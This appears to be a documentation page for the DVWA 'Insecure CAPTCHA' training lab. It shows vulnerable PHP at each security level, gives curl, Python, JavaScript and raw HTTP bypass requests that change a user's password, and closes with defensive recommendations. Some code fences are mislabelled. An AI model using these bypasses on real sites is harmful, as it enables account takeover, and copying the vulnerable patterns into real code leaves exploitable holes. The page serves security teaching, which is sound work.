Skip to main content

Overview

A CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) is designed to distinguish between human users and automated bots. CAPTCHAs typically show distorted text that humans can read but automated programs struggle with. CAPTCHAs are commonly used to protect:
  • User registration
  • Password changes
  • Form submissions
  • Comment posting
  • Sensitive operations
However, implementation flaws in CAPTCHA systems can allow attackers to bypass these protections through automated attacks.

Objective

Change the current user’s password in an automated manner by exploiting poor CAPTCHA implementation.

Vulnerability Analysis by Security Level

Low Security

Vulnerability: Two-step process without state validation Source Code (/vulnerabilities/captcha/source/low.php:1-75): Step 1: CAPTCHA Validation
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            $html .= "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}
```sql

**Step 2: Password Update**
```php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        $html .= "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        $html .= "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }
}
Critical Flaw:
  • Step 2 never validates that user completed Step 1
  • No session variable tracking CAPTCHA completion
  • Attacker can skip directly to Step 2
Attack Methodology:
  1. Analyze the two-step process:
    • Step 1: Validate CAPTCHA, display confirmation form
    • Step 2: Update password (no CAPTCHA check)
  2. Direct Step 2 attack:
curl -X POST \
  -d "step=2&password_new=hacked123&password_conf=hacked123&Change=Change" \
  -b "PHPSESSID=abc123; security=low" \
  http://dvwa.local/vulnerabilities/captcha/
```python

3. **Automated brute-force script**:

```python
import requests

url = 'http://dvwa.local/vulnerabilities/captcha/'
cookies = {'PHPSESSID': 'your_session', 'security': 'low'}

passwords = ['password123', 'admin123', 'test123']

for password in passwords:
    data = {
        'step': '2',
        'password_new': password,
        'password_conf': password,
        'Change': 'Change'
    }
    
    response = requests.post(url, data=data, cookies=cookies)
    
    if 'Password Changed' in response.text:
        print(f'Success! Password changed to: {password}')
        break
URL-based attack:
http://dvwa.local/vulnerabilities/captcha/?step=2&password_new=pwned&password_conf=pwned&Change=Change

Medium Security

Mitigation Attempt: Client-side state tracking with hidden form field Source Code (/vulnerabilities/captcha/source/medium.php:1-83): Step 1 adds passed_captcha field:
if( $pass_new == $pass_conf ) {
    // Show next stage for the user
    $html .= "
        <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
        <form action=\"#\" method=\"POST\">
            <input type=\"hidden\" name=\"step\" value=\"2\" />
            <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
            <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
            <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
            <input type=\"submit\" name=\"Change\" value=\"Change\" />
        </form>";
}
```sql

**Step 2 validates the field**:
```php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if they did stage 1
    if( !$_POST[ 'passed_captcha' ] ) {
        $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
        $hide_form = false;
        return;
    }

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // [... password update code ...]
    }
}
Critical Flaw:
  • Validates $_POST['passed_captcha'] which is client-controlled
  • Attacker can simply add this parameter to bypass
Bypass Method:
curl -X POST \
  -d "step=2&password_new=pwned&password_conf=pwned&passed_captcha=true&Change=Change" \
  -b "PHPSESSID=abc123; security=medium" \
  http://dvwa.local/vulnerabilities/captcha/
```python

**Python automation**:
```python
import requests

url = 'http://dvwa.local/vulnerabilities/captcha/'
cookies = {'PHPSESSID': 'session_id', 'security': 'medium'}

data = {
    'step': '2',
    'password_new': 'hacked',
    'password_conf': 'hacked',
    'passed_captcha': 'true',  # Simply add this parameter
    'Change': 'Change'
}

response = requests.post(url, data=data, cookies=cookies)
if 'Password Changed' in response.text:
    print('CAPTCHA bypassed successfully!')
Manual browser bypass:
  1. Open browser developer tools (F12)
  2. Navigate to Console tab
  3. Execute:
fetch('/vulnerabilities/captcha/', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'step=2&password_new=test&password_conf=test&passed_captcha=true&Change=Change',
    credentials: 'include'
})
.then(r => r.text())
.then(console.log);
```sql

### High Security

**Mitigation Attempt**: Single-step process with backdoor for "testing"

**Source Code** (`/vulnerabilities/captcha/source/high.php:1-55`):

```php
if( isset( $_POST[ 'Change' ] ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    if (
        $resp || 
        (
            $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
            && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
        )
    ){
        // CAPTCHA was correct. Do both new passwords match?
        if ($pass_new == $pass_conf) {
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for user
            $html .= "<pre>Password Changed.</pre>";

        } else {
            // Ops. Password mismatch
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }

    } else {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
}

// Generate Anti-CSRF token
generateSessionToken();
Vulnerability: Development backdoor left in production
if (
    $resp ||  // Normal CAPTCHA validation
    (
        $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'  // Hardcoded bypass!
        && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'     // Spoofable header!
    )
)
```text

**Bypass Method**:

```bash
curl -X POST \
  -H "User-Agent: reCAPTCHA" \
  -d "password_new=bypassed&password_conf=bypassed&g-recaptcha-response=hidd3n_valu3&Change=Change" \
  -b "PHPSESSID=abc123; security=high" \
  http://dvwa.local/vulnerabilities/captcha/
Python script:
import requests

url = 'http://dvwa.local/vulnerabilities/captcha/'
cookies = {'PHPSESSID': 'session_id', 'security': 'high'}
headers = {'User-Agent': 'reCAPTCHA'}  # Spoof User-Agent

data = {
    'password_new': 'hacked',
    'password_conf': 'hacked',
    'g-recaptcha-response': 'hidd3n_valu3',  # Magic value
    'Change': 'Change'
}

response = requests.post(url, data=data, headers=headers, cookies=cookies)
if 'Password Changed' in response.text:
    print('Bypassed using development backdoor!')
```http

**Burp Suite method**:
1. Intercept password change request
2. Modify headers:
```http
POST /vulnerabilities/captcha/ HTTP/1.1
Host: dvwa.local
User-Agent: reCAPTCHA
Content-Type: application/x-www-form-urlencoded

password_new=test&password_conf=test&g-recaptcha-response=hidd3n_valu3&Change=Change

Impossible Security

Proper Implementation Source Code (/vulnerabilities/captcha/source/impossible.php:1-67):
if( isset( $_POST[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_new  = stripslashes( $pass_new );
    $pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_new  = md5( $pass_new );

    $pass_conf = $_POST[ 'password_conf' ];
    $pass_conf = stripslashes( $pass_conf );
    $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_conf = md5( $pass_conf );

    $pass_curr = $_POST[ 'password_current' ];
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
    }
    else {
        // Check that the current password is correct
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
        $data->execute();

        // Do both new password match and was the current password correct?
        if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
            // Update the database
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
            $data->execute();

            // Feedback for the end user - success!
            $html .= "<pre>Password Changed.</pre>";
        }
        else {
            // Feedback for the end user - failed!
            $html .= "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
            $hide_form = false;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();
```bash

**Defense Mechanisms**:

1. **Single-step process**: No state management complexity
2. **CAPTCHA validation**: Proper reCAPTCHA verification
3. **Anti-CSRF token**: Prevents automated attacks
4. **Current password required**: Additional authentication factor
5. **No backdoors**: No development code in production
6. **Prepared statements**: SQL injection protection
7. **Input sanitization**: Strips slashes, escapes input

**Why It's Secure**:
- All validation happens in one atomic operation
- No client-side state to manipulate
- Even with CAPTCHA bypass, attacker needs current password
- CSRF token prevents automation
- No hardcoded bypass values

## Defense Recommendations

### 1. Single-Step Atomic Operations

```php
// BAD: Multi-step with client-side state
if ($_POST['step'] == 1) {
    if (validateCaptcha()) {
        echo '<input type="hidden" name="passed" value="true" />';
    }
}
if ($_POST['step'] == 2 && $_POST['passed']) {
    performAction();
}

// GOOD: Single step with server-side validation
if (isset($_POST['submit'])) {
    if (validateCaptcha() && validateCSRF()) {
        performAction();
    }
}

2. Server-Side State Management

// Store CAPTCHA success in session
if (validateCaptcha($_POST['captcha'])) {
    $_SESSION['captcha_passed'] = true;
    $_SESSION['captcha_time'] = time();
}

// Validate from session, not client input
if ($_SESSION['captcha_passed'] && (time() - $_SESSION['captcha_time'] < 300)) {
    performAction();
    unset($_SESSION['captcha_passed']);  // One-time use
}
```bash

### 3. Proper reCAPTCHA Implementation

```php
function verifyRecaptcha($response) {
    $secret = 'your_secret_key';
    $verify = file_get_contents(
        "https://www.google.com/recaptcha/api/siteverify?secret={$secret}&response={$response}"
    );
    $captcha_success = json_decode($verify);
    
    return $captcha_success->success === true;
}

if (isset($_POST['g-recaptcha-response'])) {
    if (!verifyRecaptcha($_POST['g-recaptcha-response'])) {
        die('CAPTCHA validation failed');
    }
}

4. No Development Code in Production

// NEVER do this:
if ($captcha_valid || $_POST['bypass'] == 'dev_mode') {
    allowAccess();
}

// Use environment detection:
if (ENVIRONMENT == 'development') {
    // Development-only features
} else {
    // Production security
}
```bash

### 5. Rate Limiting

```php
session_start();

if (!isset($_SESSION['attempts'])) {
    $_SESSION['attempts'] = 0;
    $_SESSION['last_attempt'] = time();
}

// Reset after 15 minutes
if (time() - $_SESSION['last_attempt'] > 900) {
    $_SESSION['attempts'] = 0;
}

$_SESSION['attempts']++;
$_SESSION['last_attempt'] = time();

if ($_SESSION['attempts'] > 5) {
    die('Too many attempts. Please wait 15 minutes.');
}

6. Complete Secure Implementation

session_start();

function processPasswordChange() {
    // Validate CSRF token
    if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        return ['error' => 'Invalid CSRF token'];
    }
    
    // Validate reCAPTCHA
    if (!verifyRecaptcha($_POST['g-recaptcha-response'])) {
        return ['error' => 'CAPTCHA validation failed'];
    }
    
    // Validate current password (additional security)
    if (!password_verify($_POST['current_password'], getCurrentPasswordHash())) {
        return ['error' => 'Current password incorrect'];
    }
    
    // Validate new passwords match
    if ($_POST['new_password'] !== $_POST['confirm_password']) {
        return ['error' => 'Passwords do not match'];
    }
    
    // Update password
    $hash = password_hash($_POST['new_password'], PASSWORD_ARGON2ID);
    updatePassword($hash);
    
    // Invalidate session (force re-login)
    session_destroy();
    
    return ['success' => true];
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $result = processPasswordChange();
    
    if (isset($result['error'])) {
        echo $result['error'];
    } else {
        echo 'Password changed successfully. Please log in again.';
    }
}

// Generate new CSRF token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
```bash

## Common CAPTCHA Implementation Mistakes

### 1. Client-Side Validation Only
```javascript
// NEVER rely on JavaScript validation
if (grecaptcha.getResponse() !== '') {
    document.getElementById('form').submit();
}

2. Reusable CAPTCHA Tokens

// BAD: Token can be reused
if (validateCaptcha($token)) {
    processForm();
}

// GOOD: One-time use
if (validateCaptcha($token)) {
    invalidateCaptchaToken($token);
    processForm();
}
```bash

### 3. Trusting Client State
```php
// BAD
if ($_POST['captcha_solved'] == 'true') {
    processForm();
}

// GOOD
if ($_SESSION['captcha_verified'] === true) {
    processForm();
    unset($_SESSION['captcha_verified']);
}

Key Takeaways

  1. Never trust client input: All CAPTCHA state must be server-side
  2. Single-step operations: Avoid multi-step processes with client state
  3. No backdoors: Remove all development/testing code from production
  4. Combine protections: CAPTCHA + CSRF + re-authentication
  5. One-time validation: CAPTCHA success should be single-use
  6. Rate limiting: Prevent brute-force even if CAPTCHA bypassed
  7. Server-side verification: Always validate CAPTCHA server-to-server

References

Build docs developers (and LLMs) love